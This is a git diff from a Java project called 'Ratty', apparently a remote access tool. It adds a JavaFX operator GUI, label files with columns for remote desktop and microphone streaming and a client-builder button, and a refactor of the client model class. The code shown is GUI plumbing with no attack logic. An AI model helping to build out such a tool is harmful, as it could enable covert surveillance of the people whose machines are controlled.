diff --git a/Ratty/res/gui.fxml b/Ratty/res/gui.fxml
new file mode 100644
index 0000000..aec778b
--- /dev/null
+++ b/Ratty/res/gui.fxml
@@ -0,0 +1,30 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/Ratty/res/language/language_de.properties b/Ratty/res/language/language_de.properties
new file mode 100644
index 0000000..7260454
--- /dev/null
+++ b/Ratty/res/language/language_de.properties
@@ -0,0 +1,7 @@
+column.name=Name
+column.address=Addresse
+column.os=OS
+column.version=Version
+column.desktop=Desktopstream
+column.voice=Mikrofonstream
+button.build=Clientbuilder
\ No newline at end of file
diff --git a/Ratty/res/language/language_en.properties b/Ratty/res/language/language_en.properties
new file mode 100644
index 0000000..7704cb2
--- /dev/null
+++ b/Ratty/res/language/language_en.properties
@@ -0,0 +1,7 @@
+column.name=Name
+column.address=Address
+column.os=OS
+column.version=Version
+column.desktop=Streaming desktop
+column.voice=Streaming voice
+button.build=Client builder
\ No newline at end of file
diff --git a/Ratty/res/test.css b/Ratty/res/test.css
new file mode 100644
index 0000000..e69de29
diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiFx.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiFx.java
new file mode 100644
index 0000000..7779ca1
--- /dev/null
+++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiFx.java
@@ -0,0 +1,81 @@
+package de.sogomn.rat.server.gui;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.Locale;
+import java.util.ResourceBundle;
+
+import javafx.application.Application;
+import javafx.collections.ObservableList;
+import javafx.fxml.FXML;
+import javafx.fxml.FXMLLoader;
+import javafx.scene.Parent;
+import javafx.scene.Scene;
+import javafx.scene.control.Button;
+import javafx.scene.control.TableView;
+import javafx.scene.layout.BorderPane;
+import javafx.scene.layout.HBox;
+import javafx.stage.Stage;
+import de.sogomn.rat.Ratty;
+
+public final class RattyGuiFx extends Application {
+
+ @FXML
+ private BorderPane pane;
+
+ @FXML
+ private TableView table;
+
+ @FXML
+ private HBox bottom;
+
+ @FXML
+ private Button builder;
+
+ private static final String TITLE = "Ratty";
+ private static final String CSS_PATH = "/test.css";
+ private static final String FXML_PATH = "/gui.fxml";
+ private static final String LANGUAGE_BASE = "language.language";
+
+ public RattyGuiFx() {
+ //...
+ }
+
+ private Parent loadContent(final String path, final ResourceBundle bundle) {
+ final FXMLLoader loader = new FXMLLoader();
+
+ loader.setResources(bundle);
+
+ try {
+ final InputStream in = Ratty.class.getResourceAsStream(path);
+ final Parent content = loader.load(in);
+
+ return content;
+ } catch (final IOException ex) {
+ ex.printStackTrace();
+
+ return null;
+ }
+ }
+
+ @Override
+ public void start(final Stage primaryStage) throws Exception {
+ final ResourceBundle bundle = ResourceBundle.getBundle(LANGUAGE_BASE, Locale.ENGLISH);
+ final Parent content = loadContent(FXML_PATH, bundle);
+ final Scene scene = new Scene(content);
+ final ObservableList styleSheets = scene.getStylesheets();
+
+ styleSheets.add(CSS_PATH);
+
+ primaryStage.setTitle(TITLE);
+ primaryStage.setScene(scene);
+ primaryStage.show();
+
+ System.out.println(builder);
+ }
+
+ public static void main(final String[] args) {
+ RattyGuiFx.launch(args);
+ }
+
+}
diff --git a/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java b/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java
index 047cc92..b0c5728 100644
--- a/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java
+++ b/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java
@@ -1,14 +1,15 @@
package de.sogomn.rat.server.gui;
+import javafx.beans.property.SimpleBooleanProperty;
+import javafx.beans.property.SimpleStringProperty;
import de.sogomn.rat.ActiveClient;
public final class ServerClient {
- private String name, os, version;
- private boolean loggedIn;
+ private final SimpleStringProperty name, os, version;
+ private final SimpleBooleanProperty streamingDesktop, streamingVoice;
- private boolean streamingDesktop;
- private boolean streamingVoice;
+ private boolean loggedIn;
private DisplayPanel displayPanel;
private FileTreePanel treePanel;
@@ -18,14 +19,20 @@ public final class ServerClient {
public ServerClient(final ActiveClient client) {
this.client = client;
+ name = new SimpleStringProperty();
+ os = new SimpleStringProperty();
+ version = new SimpleStringProperty();
+ streamingDesktop = new SimpleBooleanProperty();
+ streamingVoice = new SimpleBooleanProperty();
+
displayPanel = new DisplayPanel();
treePanel = new FileTreePanel();
}
public void logIn(final String name, final String os, final String version) {
- this.name = name;
- this.os = os;
- this.version = version;
+ this.name.set(name);
+ this.os.set(os);
+ this.version.set(version);
loggedIn = true;
@@ -34,11 +41,11 @@ public final class ServerClient {
}
public void setStreamingDesktop(final boolean streamingDesktop) {
- this.streamingDesktop = streamingDesktop;
+ this.streamingDesktop.set(streamingDesktop);
}
public void setStreamingVoice(final boolean streamingVoice) {
- this.streamingVoice = streamingVoice;
+ this.streamingVoice.set(streamingVoice);
}
public void setController(final IGuiController controller) {
@@ -47,7 +54,7 @@ public final class ServerClient {
}
public String getName() {
- return name;
+ return name.get();
}
public String getAddress() {
@@ -55,11 +62,11 @@ public final class ServerClient {
}
public String getOs() {
- return os;
+ return os.get();
}
public String getVersion() {
- return version;
+ return version.get();
}
public boolean isLoggedIn() {
@@ -67,11 +74,11 @@ public final class ServerClient {
}
public boolean isStreamingDesktop() {
- return streamingDesktop;
+ return streamingDesktop.get();
}
public boolean isStreamingVoice() {
- return streamingVoice;
+ return streamingVoice.get();
}
public DisplayPanel getDisplayPanel() {